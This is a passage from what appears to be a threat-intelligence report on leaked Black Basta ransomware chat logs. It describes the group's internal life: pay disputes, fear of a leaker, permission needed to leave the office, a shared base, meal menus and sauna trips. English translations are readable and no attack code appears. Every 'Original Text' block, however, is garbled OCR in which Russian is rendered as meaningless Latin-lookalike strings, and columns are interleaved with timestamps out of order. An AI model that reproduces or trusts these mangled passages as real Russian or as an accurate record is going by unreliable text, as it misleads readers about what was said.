2024-04-19 10:26:16,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> yeah, but they didn't share a
single penny with me =) well you're not there, they
write to me that they're operating on their own
2024-04-19 10:26:33, @nickolas:talks.icu, Right, on
the processes | built)

2024-04-19 10:26:57,
@usernamegg:matrix.bestflowers247.online, you told
me when we met that they were on their own
2024-04-19 10:27:00,
@usernamegg:matrix.bestflowers247.online, like | left
2024-04-19 10:27:06,

Original Text

2024-04-19 10:24:52, @nickolas:talks.icu, npouecchbl
6bl eLLle BHYTPW KONNEKTMBA BbICTPOUTb, Aa
npvyecaTb KajpoBbIl COCTaB :)

2024-04-19 10:25:11,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> npoueccobl 6bI eLwe BHYTPU
KO/INIEKTUBA BbICTPOUTb, Aa NpuyecaTb KapoBbii
COCTaB :) OHMW TYT AieHer HeMHoro 3apaboTanm
2024-04-19 10:25:08, @nickolas:talks.icu, oHn
Bbipocau B 30, ¥ NPeBPaTUNCh B ThIKBY 14 &
2024-04-19 10:25:26,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> oHu Bbipocan B 30, 1
NpeBpaTUANCh B ThikBY 4@ & 06KAHO

2024-04-19 10:25:43, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online> oHu
TYT A€HEr HeMHOro 3apaboTanu ara, 3aT0 CO MHOW HU
KOMenKow He Noaennancb =)

2024-04-19 10:25:44,
@usernamegg:matrix.bestflowers247.online,
XagHOCTb crybuna?

2024-04-19 10:26:04, @nickolas:talks.icu, n
npomMonyany, 1 BoobLe y3Han OT NOCTaBLLMKA BMHOK,
4TO pebdATa BbINAaThl 3 WTYKN CAeNanu )
2024-04-19 10:26:16,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> ara, 3aT0 CO MHOW HW KOMNENKOM
He NoAeNNANCh =) Hy Tebs Xe HeT, OHN MHe NULYT
yTO CaMu Nno cebe ABUraroTCA

2024-04-19 10:26:33, @nickolas:talks.icu, Ara, Ha
BbICTPOEHHHbIX MHOK NpoL,eccax )

2024-04-19 10:26:57,
@usernamegg:matrix.bestflowers247.online, Tbl MHe
npwv BCTpeye TorAa ckasan YTto OHM camu no cebe
2024-04-19 10:27:00,
@usernamegg:matrix.bestflowers247.online, s Tuna
yLien
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@usernamegg:matrix.bestflowers247.online, let them
do what they want

2024-04-19 10:27:25,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Right, on the processes | built )
can't argue with that

2024-04-19 10:27:35, @nickolas:talks.icu, well | was
still keeping an eye on them anyway, asking how
things were going etc :)

2024-04-19 10:27:38,
@usernamegg:matrix.bestflowers247.online, you need
to know how to manage too

2024-04-19 10:27:47,
@usernamegg:matrix.bestflowers247.online, and
technically understand as well

2024-04-19 10:27:06,
@usernamegg:matrix.bestflowers247.online, nyckai
Aenaro Yto XoTaT

2024-04-19 10:27:25,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Ara, Ha BbICTPOEHHHbIX MHOHO
npoueccax ) He NoCNopwLLb TyT

2024-04-19 10:27:35, @nickolas:talks.icu, Hy s BCe
paBHO MpuCMaTpVBan, ClpLiavBan Kak gena utn :)
2024-04-19 10:27:38,
@usernamegg:matrix.bestflowers247.online,
MeHeaXXepUTb TOXe HaZo YMETb

2024-04-19 10:27:47,
@usernamegg:matrix.bestflowers247.online, ewwe n
TEXHUYECKUN MOHUMATb

This exchange shows nickolas expressing dissatisfaction about receiving no compensation while other members
profited from processes he established. gg excludes him from distribution citing departure announcements,

revealing organizational communication breakdowns and trust deficits.

Reference to the Possibility of a Traitor Leaking Files

Translated

2024-01-29 09:06:44,
@sunortla:matrix.bestflowers247.online, the rat might
leak files, seeking revenge

2024-01-29 09:06:49,
@usernamegg:matrix.bestflowers247.online, from
another crypter

2024-01-29 09:06:57,
@usernamegg:matrix.bestflowers247.online, ah
[omitted]

2024-01-29 09:07:16,
@usernamegg:matrix.bestflowers247.online, damn
you don't spare him

[omitted]

2024-01-29 09:10:56,
@sunortla:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> damn
you don't spare him Why should | spare him, he rode
on my back, lived off me and people like me, and
then just took and zeroed out, throwing dirt. The
person doesn't acknowledge his mistakes and doesn't
value other people's work, which he lives off.
[omitted]

2024-01-29 09:24:30,
@usernamegg:matrix.bestflowers247.online, >

Original Text

2024-01-29 09:06:44,
@sunortla:matrix.bestflowers247.online, kpbica MmoxeT
cvBaTb $anibl, MCTS

2024-01-29 09:06:49,
@usernamegg:matrix.bestflowers247.online, ot
Apyroro Kkpuntepa

2024-01-29 09:06:57,
@usernamegg:matrix.bestflowers247.online, aa
[omitted]

2024-01-29 09:07:16,
@usernamegg:matrix.bestflowers247.online, kaney, Tbl
ero He >xanellb

[omitted]

2024-01-29 09:10:56,
@sunortla:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> kanev,
Tbl €10 He Xanelb A noyemy st JOMKEH ero XaneTb,
OH Ha MHe KaTa/iCsi, )XW/ 3a CUeT MeHs 1 TaKKX Kak f, a
MOTOM MPOCTO B35/ Y OBHYAUA, NONUB TPA3bIO.
Yenoek He NPU3HaET CBOMX OLUMOOK U HE LLEHUT
Uy>KOW TPYZ, 3@ CYET KOTOPOTO XKUBET.

[omitted]

2024-01-29 09:24:30,
@usernamegg:matrix.bestflowers247.online, >
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<@sunortla:matrix.bestflowers247.online> Why <@sunortla:matrix.bestflowers247.online> A nouemy
should | spare him, he rode on my back, lived off me 7 gonxeH ero xanetb, OH Ha MHe KaTacs, XWUn 3a

and people like me, and then just took and zeroed CUET MEeHSs 1 TakMX Kak fi, @ MOTOM MPOCTO B35 U
out, throwing dirt. > The person doesn't acknowledge | 06Hyaun, noaue rpsasbro. > Yenosek He Npu3HaeT
his mistakes and doesn't value other people's work, CBOMIX OLLUMOOK N He LEHUT YyXXOW TpyA, 3a cyeT
which he lives off. alright KOTOPOro XMBET. XOPOLLO

Internal betrayal and distrust surface within the group. One member potentially threatens information disclosure
for revenge, prompting migration to secure private messaging. These exchanges reveal deep personal
resentments and anger toward betrayal acts among participants.
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I 4. Reality of Organizational Operations

The leaked chat logs reveal Black Basta maintained organizational operations with some members living
communally at physical locations. This characteristic distinguishes them from typical cyber groups.

Members shared health and personal life information alongside attack activities, creating blurred boundaries
between operational and private spheres. Despite these intimate relationships, organizational management
featured strict task control and discipline under leadership hierarchy with clear rank structures and role divisions.
The group simultaneously demonstrated adaptability through flexible consideration of rebranding and
restructuring in response to external changes. A culture valuing technical skills and meritocracy enabled efficient
attack execution through advanced information sharing. However, this organizational structure also harbored
internal challenges including compensation disputes, interpersonal friction, and burdens from harsh working
conditions, revealing complex dynamics of trust and conflict among members.
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|4.1 The Office and Communal Living

Black Basta maintained physical operational bases and conducted organizational management. Members

discussed office attendance and remote work arrangements, covering topics from weekly meal planning and
hygiene protocols to leisure activities including saunas. The chat logs document home leave requests and

personal emotional exchanges, revealing environments where operational activities and daily life closely

intersected.

Topics on the Physical Office

Conversation on Permission Required to Go Home

Translated

2023-09-27 17:32:42,
@usernameyy:matrix.bestflowers247.online, can | go
home?

2023-09-27 17:36:46,
@usernamegg:matrix.bestflowers247.onling, it's about
time

2023-09-27 17:36:50,
@usernamegg:matrix.bestflowers247.online, are you
still there or what?)

2023-09-27 17:36:56,
@usernamegg:matrix.bestflowers247.online, | thought
you had already left

2023-09-27 17:36:57,
@usernameyy:matrix.bestflowers247.online, well yes
but how)

2023-09-27 17:37:05,
@usernameyy:matrix.bestflowers247.online, can't go
without permission

Original Text

2023-09-27 17:32:42,
@usernameyy:matrix.bestflowers247.online, s noegy
JOMOIA?

2023-09-27 17:36:46,
@usernamegg:matrix.bestflowers247.online, gaBHo
nopa

2023-09-27 17:36:50,
@usernamegg:matrix.bestflowers247.online, bl ewwe
TaMm yTo An?)

2023-09-27 17:36:56,
@usernamegg:matrix.bestflowers247.online, s gyman
Tbl y>Ke yexan

2023-09-27 17:36:57,
@usernameyy:matrix.bestflowers247.online, Hy aa a
KakK)

2023-09-27 17:37:05,
@usernameyy:matrix.bestflowers247.online, 6e3
pa3peLleHns Hesb3s

Some conversations reveal strict control preventing members from freely leaving premises to return home. Given

Black Basta's operational nature, this suggests an environment under constraint or surveillance rather than

voluntary communal living. Such management structures functioned as control mechanisms to prevent member

defection and information leaks.
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w Expressing Dissatisfaction with the Operational Model

Translated

2023-10-30 20:34:55,
@usernamegg:matrix.bestflowers247.online, working
in the office)

2023-10-30 20:34:59,
@usernamegg:matrix.bestflowers247.onling, it's really
hard for programmers )

2023-10-30 20:35:35,
@w:matrixtcFJHPDbImt2rg.network, +++
2023-10-30 20:35:37,
@w:matrixtcFJHPDbImt2rg.network, I'll do it now
2023-10-30 20:35:41,
@w:matrixtcFJHPDbImt2rg.network, will write back
2023-10-30 20:35:54,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online>
working in the office ) yes)

2023-10-30 20:36:07,
@w:matrixtcFJHPDbImt2rg.network, when | worked in
white hat, | also didn't like the office

2023-10-30 20:36:12,
@w:matrixtcFJHPDbImt2rg.network, from home is
easier

2023-10-30 20:36:08,
@usernamegg:matrix.bestflowers247.online, well yes,
there's that

2023-10-30 20:36:27,
@usernamegg:matrix.bestflowers247.online, you're a
programmer, I'm moving all programmers to remote
work but they work in the office for some time
2023-10-30 20:36:32,
@usernamegg:matrix.bestflowers247.online, then
they only come in

2023-10-30 20:37:36,
@w:matrixtcFJHPDbImt2rg.network, understood)
2023-10-30 20:37:50,
@w:matrixtcFJHPDbImt2rg.network, well
programmers in general yes, many like to complain

Original Text

2023-10-30 20:34:55,
@usernamegg:matrix.bestflowers247.online, B odcume
pabortaTh )

2023-10-30 20:34:59,
@usernamegg:matrix.bestflowers247.online,
nporepam BoobLLe TAXeNO )

2023-10-30 20:35:35,
@w:matrixtcFJHPDbImt2rg.network, +++
2023-10-30 20:35:37,
@w:matrixtcFJHPDbImt2rg.network, wac caenato
2023-10-30 20:35:41,
@w:matrixtcFJHPDbImt2rg.network, otnnwy
2023-10-30 20:35:54,
@w:matrixtcFJHPDbImt2rg.network, >
<@usernamegg:matrix.bestflowers247.online> B
odcmre pabotaTtb ) Aa)

2023-10-30 20:36:07,
@w:matrixtcFJHPDbImt2rg.network, koraa B Bante
paboTan, Toxe He ntobun odpduc

2023-10-30 20:36:12,
@w:matrixtcFJHPDbImt2rg.network, n3 gomy npotie
2023-10-30 20:36:08,
@usernamegg:matrix.bestflowers247.online, Hy aa,
eCTb Takoe

2023-10-30 20:36:27,
@usernamegg:matrix.bestflowers247.online, Tbl
nporep, a1 BCex NPOrepoB Ha yAaneHKy NepeBoxy HO
HekoTopoe BpemMs paboTatoT B oduce

2023-10-30 20:36:32,
@usernamegg:matrix.bestflowers247.online, notom
TONbKO Mpure3sxaroT

2023-10-30 20:37:36,
@w:matrixtcFJHPDbImt2rg.network, noHsn)
2023-10-30 20:37:50,
@w:matrixtcFJHPDbImt2rg.network, Hy nporepos
BOOOLle Aa, MHOTMe ebaoBaTb 1H06AT

This conversation reveals that Black Basta flexibly switches operational formats (remote/office) based on

members' job types and situations. While showing understanding of the burden on technical staff like w, gg

requires office work for the time being, indicating they prioritize work efficiency and surveillance systems.



Conversation Showing Affection for Absent Members

Translated

2024-02-07 17:55:30,
@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online>
already missed you? $$ has been going out with a sad
face to smoke since Monday, he really misses you )
2024-02-07 17:55:42,
@usernamegg:matrix.bestflowers247.online, he needs
company to chat downstairs

2024-02-07 17:55:45,
@usernamenn:matrix.bestflowers247.online, ah |
thought you missed me

2024-02-07 17:55:58,
@usernamegg:matrix.bestflowers247.online, | always
miss you, my ideological one

Original Text

2024-02-07 17:55:30,
@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> yxe
cockyunnca? $$ ¢ nH XoAWT C rpyCTHLIM ULLOM
KypuTb, emy Tebsa CMAbHO He xBaTaeT )
2024-02-07 17:55:42,
@usernamegg:matrix.bestflowers247.online, emy
KOMMaHMA Hy>XKHa NOMNU3AeTb BHU3Y

2024-02-07 17:55:45,
@usernamenn:matrix.bestflowers247.online, aa s
AyMan Tbl COCKYYMNCS

2024-02-07 17:55:58,
@usernamegg:matrix.bestflowers247.online, s no
Tebe naeHOMYy BCerga cky4aro

This conversation reveals personal and intimate relationships among Black Basta members. While exchanges

appear unrelated to attack operations, expressions like "needing someone to chat with downstairs" suggest

members fundamentally share the same physical location.

Conversation about a Luxurious New Office Serving as a Base

Translated

2023-10-23 15:41:49,
@usernamenn:matrix.bestflowers247.online, when is
the move to the new location?

2023-10-23 15:41:54,
@usernamenn:matrix.bestflowers247.online, I'm ready
to come next week =)

2023-10-23 15:47:34,
@usernamegg:matrix.bestflowers247.online, hello
2023-10-23 15:47:49,
@usernamegg:matrix.bestflowers247.online, I'm
assembling soft furniture, kitchen and so on there
2023-10-23 15:47:56,
@usernamegg:matrix.bestflowers247.online, hanging
chandeliers

2023-10-23 15:48:05,
@usernamenn:matrix.bestflowers247.online, ah | see
2023-10-23 15:48:07,
@usernamegg:matrix.bestflowers247.online, well |
think at least another month and a half

2023-10-23 15:48:15,
@usernamegg:matrix.bestflowers247.online, some
things are being made

2023-10-23 15:48:25,
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Original Text

2023-10-23 15:41:49,
@usernamenn:matrix.bestflowers247.online, Ha
HOBYO lOKaLMIO Korga nepeesa?

2023-10-23 15:41:54,
@usernamenn:matrix.bestflowers247.online, A rotos
Ha cneg Hegene npuvexatb =)

2023-10-23 15:47:34,
@usernamegg:matrix.bestflowers247.online, npuset
2023-10-23 15:47:49,
@usernamegg:matrix.bestflowers247.online, cobuparo
TaM Mebesib MATKYH, KYXHHO U T4,

2023-10-23 15:47:56,
@usernamegg:matrix.bestflowers247.online, ntoctpbl
BeLlato

2023-10-23 15:48:05,
@usernamenn:matrix.bestflowers247.online, aa noHsn
2023-10-23 15:48:07,
@usernamegg:matrix.bestflowers247.online, Hy 5
AyMato eLle Mecaua noatTopa kak MUHUMYM
2023-10-23 15:48:15,
@usernamegg:matrix.bestflowers247.online, uto 10 B
N3roTOBAEHWUN



@usernamegg:matrix.bestflowers247.online, in short
we'll move to a new house with new clean mattresses
beds and so on

2023-10-23 15:48:28,
@usernamegg:matrix.bestflowers247.online,
everything will be from scratch

[omitted]

2023-10-23 15:49:04,
@usernamegg:matrix.bestflowers247.online, they're
sewing curtains, sewing bedding and so on
everything will be customized for each person
2023-10-23 15:49:46,
@usernamegg:matrix.bestflowers247.online, | paid for
kitchen equipment today, there are two kitchens one
will be on the first floor another on the third floor
next to the zone where we'll work

2023-10-23 15:49:50,
@usernamegg:matrix.bestflowers247.online, | planned
everything conveniently it seems

2023-10-23 15:49:53,
@usernamegg:matrix.bestflowers247.online, | think it
will suit us

2023-10-23 15:48:25,
@usernamegg:matrix.bestflowers247.online, kopoue
Mbl NepeesemM B HOBbIV AOM C HOBbIMUW YMCTbIMM
MaTpcaMu KpoBaTAMU U T4

2023-10-23 15:48:28,
@usernamegg:matrix.bestflowers247.online, Bce ¢
Hyns ByaeT

[omitted]

2023-10-23 15:49:04,
@usernamegg:matrix.bestflowers247.online, wropsi
LWbHOT , MOCTENbHOE LUBLIOT U T4 BCe OyAeT nog,
KaXkgoro

2023-10-23 15:49:46,
@usernamegg:matrix.bestflowers247.online, TexHnky
CeroAHs Ha KyxH OrjiaumBas, TaM JBe KyXHU OfHa
Ha nepBOM ByaeT Apyras Ha TPETbEM 3Taxe B PAAOM
C 30HOW rae pbotatb byaem

2023-10-23 15:49:50,
@usernamegg:matrix.bestflowers247.online, ya06Ho
BCe pacnaaHnpoBan BpoAe Kak

2023-10-23 15:49:53,
@usernamegg:matrix.bestflowers247.online, s agymato
3alJeT HaMm

The new base features customized interiors for each member, sharing luxurious construction including residential

facilities like kitchens plus chandeliers. Conversations suggest high probability that some Black Basta members

sleep at the base, revealing efforts to establish comfortable, highly livable working environments.
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Depiction of Black Basta’'s New Base (created by generative Al based on the chat logs)
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Conversations on Communal Living

Conversation about Meal Options at the Office

Translated

2023-11-10 16:53:06,
@usernamegg:matrix.bestflowers247.online, Menu for
2 offices: Monday Pickled soup Bean salad with beef
and red onion Salmon in caviar sauce Chicken cutlet
Pork tenderloin sauté Mashed potatoes Pasta Berry
drink Cottage cheese casserole with condensed milk
Tuesday Borscht Mimosa salad Chicken legs
marinated in mayo-garlic sauce Meatballs Breaded
shrimp Rice Fried potatoes Pancakes with meat and
sour cream Wednesday Fish soup assortment
Vegetable salad Sauerkraut with green onion dressed
with aromatic oil Potatoes with beef stew Homemade
cutlet pork beef Vermicelli Potato pancakes Eclairs
Grapes Thursday Lamb shurpa Turkey cutlet with
cheese Goulash Caesar with shrimp Buckwheat
Mashed potatoes Onion egg pies Friday Mixed
vegetable soup Seafood salad Schnitzel Potato
casserole Chakhokhbili Pasta Croissant with
condensed milk Pear Total: 180,000 rubles
2023-11-10 16:53:19,
@usernamegg:matrix.bestflowers247.online, adjusting
the menu

2023-11-10 16:53:51,
@usernameww:matrix.bestflowers247.online, Nobody
eats pickled soup here !

2023-11-10 16:54:08,
@usernamegg:matrix.bestflowers247.online, * Menu
for 2 offices:Monday Pickled soup Bean salad with
beef and red onion Salmon in caviar sauce Chicken
cutlet Pork tenderloin sauté Mashed potatoes Pasta
Berry drink Cottage cheese casserole with condensed
milk Tuesday Borscht Mimosa salad Chicken legs
marinated in mayo-garlic sauce Meatballs Breaded
shrimp Rice Fried potatoes Pancakes with meat and
sour cream Wednesday Fish soup assortment
Vegetable salad Sauerkraut with green onion dressed
with aromatic oil Potatoes with beef stew Homemade
cutlet pork beef Vermicelli Potato pancakes Eclairs
Grapes Thursday Lamb shurpa Turkey cutlet with
cheese Goulash Caesar with shrimp Buckwheat
Mashed potatoes Onion egg pies Friday Mixed
vegetable soup Seafood salad Schnitzel Potato
casserole Chakhokhbili Pasta Croissant with
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Original Text

2023-11-10 16:53:06,
@usernamegg:matrix.bestflowers247.online, MeHto
Ha 2 oduca: MNoHepenbHWK PacconbHmk Canat m3
KpacHOM $paconun ¢ roBAANHOM N KPacHbIM JYKOM
Cemra B nkopHom coyce Kotneta kypnHasa CBuHas
noaxxapka u3 sbipesku Mope MakapoHbl Mopc
TBOpPOXHasA 3anekaHka co CryweHkon BropHuk bopuy,
Canat mumosa KypuHble HOXKN MapUHOBaHHbIE B
ManoHe3HO- YeCHOYHOM coyce TedpTenn KpeseTtkn B
knape Puc KapTolika xapeHasa BaAnHumKm ¢ Macom 1
cmeTaHon Cpega Yxa u3 accopty pblb6 OBOLLHOM
canat KalleHas KkanycTa € 3e/1€HbIM JYKOM
3anpasfeHHas apomMaTtHbIM maciaom Kaptodesns ¢
TywWweHKOW roeaamHa KoTtneTta fOMaLLHAA CBMHMHA
rossg Bepmuwens ApaHnku Sknepol BuHorpag
Yetsepr LUypna n3 6apaHuHbl Kotieta nHaeinka c
cbipom lynaw Llesapb ¢ kpeseTkamu [peuka MNope
Mupoxxkn ayk sruo MatHuua Cyn OBOLWHOW MUKC
Canat mopckown WHuuenb KaptodenbHas 3anekaHka
Yaxoxbunn MakapoHbl KpyaccaH co cryuy 'pywa
Wtoro: 180 000 p

2023-11-10 16:53:19,
@usernamegg:matrix.bestflowers247.online,
KOppeKTnpyem MeHo

2023-11-10 16:53:51,
@usernameww:matrix.bestflowers247.online,
Pacco/ibHNK HUKTO He ecT y Hac !

2023-11-10 16:54:08,
@usernamegg:matrix.bestflowers247.online, * MeHto
Ha 2 oduca: MNoHegenbHWK PacconbHmk Canat m3
KpacHOM $paconn ¢ roBAANHOM N KPacHbIM JyKOM
Cemra B nkopHom coyce Kotneta kypnHasa CBuHas
noaxxapka un3 sbipesku NMope MakapoHbl Mopc
TBOpPOXHasA 3anekaHka co CryweHkon BropHuk bopuy,
Canat mumosa KypuHble HOXKN MapUHOBaHHbIE B
MaloOHe3HO- YeCHOUYHOM coyce TedpTenn KpeseTtkn B
knape Puc KapTolika xapeHas BanHumky ¢ Macom u
cmeTaHon Cpega Yxa u3 accopty pbl6 OBOLLHOM
canat KalleHas Kkanycra ¢ 3e/1€HbIM JYKOM
3anpasaeHHas apomaTtHbiM MacnoM Kaptodens ¢
TylWweHKoW roaamHa KoTtieTta fOMaLLHAA CBMHMHA
roesg Bepmuwens ApaHnku Sknepol BuHorpag
Yetsepr LUypna n3 6apanuHbl Kotieta nHaenka c



condensed milk Pear

2023-11-10 16:54:24,
@usernamegg:matrix.bestflowers247.online, removed
the amount at the bottom

2023-11-10 16:54:37,
@usernamegg:matrix.bestflowers247.online, >
<@usernameww:matrix.bestflowers247.online>
Nobody eats pickled soup here ! somehow | knew
you'd be the first to write that )

2023-11-10 16:54:44,
@usernameww:matrix.bestflowers247.online, ))))
2023-11-10 16:54:59,
@usernamenn:matrix.bestflowers247.online, yy likes
pickled soup

2023-11-10 16:55:29,
@usernameyy:matrix.bestflowers247.online, «s
2023-11-10 16:55:36,
@usernamegg:matrix.bestflowers247.online, need to
adjust the menu

2023-11-10 16:55:38,
@usernameyy:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> yy
likes pickled soup come eat sandwiches

2023-11-10 16:55:42,
@usernamegg:matrix.bestflowers247.online, so
everyone enjoys it

2023-11-10 16:56:21,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> come
eat sandwiches enough, children, please take this
seriously! you have to eat this and this food costs
money.

[omitted]

2023-11-10 17:34:52,
@usernamejj:matrix.bestflowers247.online, * Monday
- instead of Pickled soup can do Solyanka - berry
drink can have less sugar Tuesday - shrimp better
without breading

2023-11-10 17:56:34,
@usernamegg:matrix.bestflowers247.online, we
already corrected everything

cbipoM l'ynaw Lesapb ¢ kpeeeTkamu [peuka lNMrope
Mupodkkn nyk anuo MatHrua Cyn OBOLWHON MUKC
Canat mopckon WHuuenb KaptodenbHas 3anekaHka
Yaxoxbuan MakapoHsbl KpyaccaH co cryuw, I'pyLua
2023-11-10 16:54:24,
@usernamegg:matrix.bestflowers247.online, ybpan
CYMMY BHU3Y

2023-11-10 16:54:37,
@usernamegg:matrix.bestflowers247.online, >
<@usernameww:matrix.bestflowers247.online>
PacconbHUK HWKTO He ecT y Hac ! nouemy TO A 3Han
YTO Thbl TaK HaMUWLLELWb NEPBbLIN MNPU YeMm )
2023-11-10 16:54:44,
@usernameww:matrix.bestflowers247.online, ))))
2023-11-10 16:54:59,
@usernamenn:matrix.bestflowers247.online, yy ntobut
PacCoNbHUK

2023-11-10 16:55:29,
@usernameyy:matrix.bestflowers247.online, «s
2023-11-10 16:55:36,
@usernamegg:matrix.bestflowers247.online, Hago
NoAKOPEKTUPOBATb MEHIO

2023-11-10 16:55:38,
@usernameyy:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> yy
NO6UT pacconbHUK Npuesxan bytepbpospl noellb
2023-11-10 16:55:42,
@usernamegg:matrix.bestflowers247.online, yto 6bl
BCEM OblIO BKYCHO

2023-11-10 16:56:21,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online>
npuesxain 6yTepbpoabl NoeLb XBaTuT, AeTH, Byab Te
[06pbl OTHECTUCh Cepbe3HO! BaM 3TO KyLlaTb U 3Ta
efla fieHer CTouT.

[omitted]

2023-11-10 17:34:52,
@usernamejj:matrix.bestflowers247.online, *
[MoHeaenbHUK - BMeCTo PacconbHMKa MOXHO
ConsHKy - B MOpC MOXHO MeHbLue caxapa BTopHumk -
KpeBeTKu nyyle 6e3 kaapa

2023-11-10 17:56:34,
@usernamegg:matrix.bestflowers247.online, y>xe Bce
NoAKOPETMPOBANN Mbl

The menu features numerous Eastern European home dishes, indicating meal planning based on Russian culinary

traditions. Menu modifications upon request and associated costs suggest generous member treatment.
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lllustration of the Meal Menu (created by generative Al based on the chat logs)
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Conversation Suggesting Communal Living Regarding Food Management

Translated

2023-12-19 16:08:40,
@usernamexx:matrix.bestflowers247.online, * What a
complete asshole, the guys deserve medals for
bravery, we threw out two more bags of spoiled food,
couldn't breathe when you open the left fridge!
2023-12-19 16:09:33,
@usernamegg:matrix.bestflowers247.online, you
know why everything spoils? because you don't eat
normal food but order McDonald's and all those
same guys fall on your leftovers, in the end they
didn't eat anything and everything spoiled, we also
have food leftovers here and we dispose of them in
time the same way

2023-12-19 16:10:28,
@usernamegg:matrix.bestflowers247.online, >
<@usernamexx:matrix.bestflowers247.online> And
he's constantly drunk wandering around who knows
where at night! yesterday he went out in the evening
to a restaurant, asked me for permission. | know his
every step, don't worry, where he is and what he's
doing.

Original Text

2023-12-19 16:08:40,
@usernamexx:matrix.bestflowers247.online, * A
KOHYEHbI/ MyAaK, NaLaHam Hy>XHO Mezab 3a oTeary,
ONATb ABa MeLLKa TyXN1fKa BbIKUHYAW, AbllLaTb HeYeM
6b1710 KOrAa OTKPbIBaeLLb J€BbIN X0N040c!
2023-12-19 16:09:33,
@usernamegg:matrix.bestflowers247.online, nouemy
TYXHET BCe 3Haellb? MOTOMY YTO Tbl HOPMabHYHO eay
He Kyllaellb a 3aKa3blBaelllb MakAak 1 BCe Te Xe
cambl NauaHbl NajatoT Ha xBacTa Tebe B UTOre HUYer
OHe CKyLLIaAWn 1 BCe CTyXJ1I0 , Y Hac TyT TOXe OCTaTKM
eCTb e/lbl Y Mbl VX TakK Xe YyTUAU3NPEeM BOBPEMS
2023-12-19 16:10:28,
@usernamegg:matrix.bestflowers247.online, >
<@usernamexx:matrix.bestflowers247.online> A ewe
OH MOCTOSAHHO BYXOW 1 LUANETCA Xy MOUMU rae
HousMuM! BYUEpa OH e34UN BEYEPOM PECTUK Y MeHs
OTNPOCKACA. A 3HAO 3@ KaX/bI/ €ro Lar He BOJHYNCS,
e OH U YTO OH.

This conversation reveals Black Basta members living communally at operational bases. Members express

frustration with selfish behaviors, highlighting stress from shared living spaces and hygiene management

challenges. The statement "I know every single move he makes" indicates behavioral monitoring and internal

control systems.

Conversation Suggesting Communal Living Regarding Sauna

Translated

2023-10-26 15:43:10,
@usernamegg:matrix.bestflowers247.online, who's up
for the bathhouse?

2023-10-26 15:43:21,
@usernamegg:matrix.bestflowers247.online, maybe
we go to the bathhouse now?

2023-10-26 15:43:28,
@usernamezz:matrix.bestflowers247.online, sure
[omitted]

2023-10-26 15:49:32,
@usernamegg:matrix.bestflowers247.online, ZZ +

WW + CC + TT + $$ - all go to the bathhouse? except

MM?
2023-10-26 15:50:06,

@usernamess:matrix.bestflowers247.online, | won't go

Original Text

2023-10-26 15:43:10,
@usernamegg:matrix.bestflowers247.online, a k10 B
6aHt0?

2023-10-26 15:43:21,
@usernamegg:matrix.bestflowers247.online, moxeT B
6aHto croHsem cenyac?

2023-10-26 15:43:28,
@usernamezz:matrix.bestflowers247.online, MoXxHo
[omitted]

2023-10-26 15:49:32,
@usernamegg:matrix.bestflowers247.online, ZZ +
WW + CC + TT + $$ - Bce B 6aHt0 noiaem? kpome
MM?
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2023-10-26 15:50:27,
@usernamegg:matrix.bestflowers247.online, why
don't you like the bathhouse?

2023-10-26 15:50:36,
@usernamegg:matrix.bestflowers247.online, * why
don't you like the bathhouse?

2023-10-26 15:50:52,
@usernamezz:matrix.bestflowers247.online,
WW+TT+MM want to go home

2023-10-26 15:51:02,
@usernameww:matrix.bestflowers247.online, | don't
feel well (would gladly go otherwise

2023-10-26 15:51:16,
@usernamegg:matrix.bestflowers247.online, alright,
then cancel, get some sleep

2023-10-26 15:51:20,
@usernamegg:matrix.bestflowers247.online, I'll book
for the weekend

2023-10-26 15:51:21,
@usernamegg:matrix.bestflowers247.online, the
bathhouse

[omitted]

2023-10-26 15:56:08,
@usernamegg:matrix.bestflowers247.online,
tomorrow's Friday, okay you did well this week, no
point keeping you there tomorrow because | myself
don't know if this guy will come or not! if | launch
spam tomorrow, then the guys from this office will
handle the spam, so you can go home for the
weekend guys.

[omitted]

2023-10-26 15:59:55,
@usernamegg:matrix.bestflowers247.online, sucks
that | won't see you tomorrow, well okay we'll catch
up at the bathhouse on the weekend or tomorrow,
will see what's going on here

2023-10-26 16:00:26,
@usernamezz:matrix.bestflowers247.online, we're in
touch 24/7

2023-10-26 16:00:39,
@usernamezz:matrix.bestflowers247.online, waiting
for the bathhouse on the weekend

2023-10-26 15:50:06,
@usernamess:matrix.bestflowers247.online, 1 He
noviay

2023-10-26 15:50:27,
@usernamegg:matrix.bestflowers247.online, a yer bl
6aHto He NtobuLb?

2023-10-26 15:50:36,
@usernamegg:matrix.bestflowers247.online, * a ue Tbl
6aHto He NtobuLbL?

2023-10-26 15:50:52,
@usernamezz:matrix.bestflowers247.online,
WW+TT+MM go goma xotart

2023-10-26 15:51:02,
@usernameww:matrix.bestflowers247.online, s naoxo
ceb6s uyBCTBYHO ( Tak Obl C pafoCTbiO

2023-10-26 15:51:16,
@usernamegg:matrix.bestflowers247.online, nagHo,
Torga otboi , oTcbiNamTech

2023-10-26 15:51:20,
@usernamegg:matrix.bestflowers247.online, B Bbixu
3abpoHumpyto

2023-10-26 15:51:21,
@usernamegg:matrix.bestflowers247.online, 6aHto
[omitted]

2023-10-26 15:56:08,
@usernamegg:matrix.bestflowers247.online, natHuua
3aBTpa, NafjHO Bbl MOJIOALLbI Ha 3TOW Hejene, 3aBTpa
HeTy CMbIC/1a BaC TaM TOMWUTb MOTOMY YTO A CaM He
3Haro NPUAET 3TOT xonew, uan HeT! ecn 5 3aBTpa
3anyLuy cnam, To pebsTa ¢ 3Toro opuca obpaboTarot
cnam , Tak YTo JOMOW Ha BbIXOAHbIE PEBATKN MOXKEeTe
exaTb.

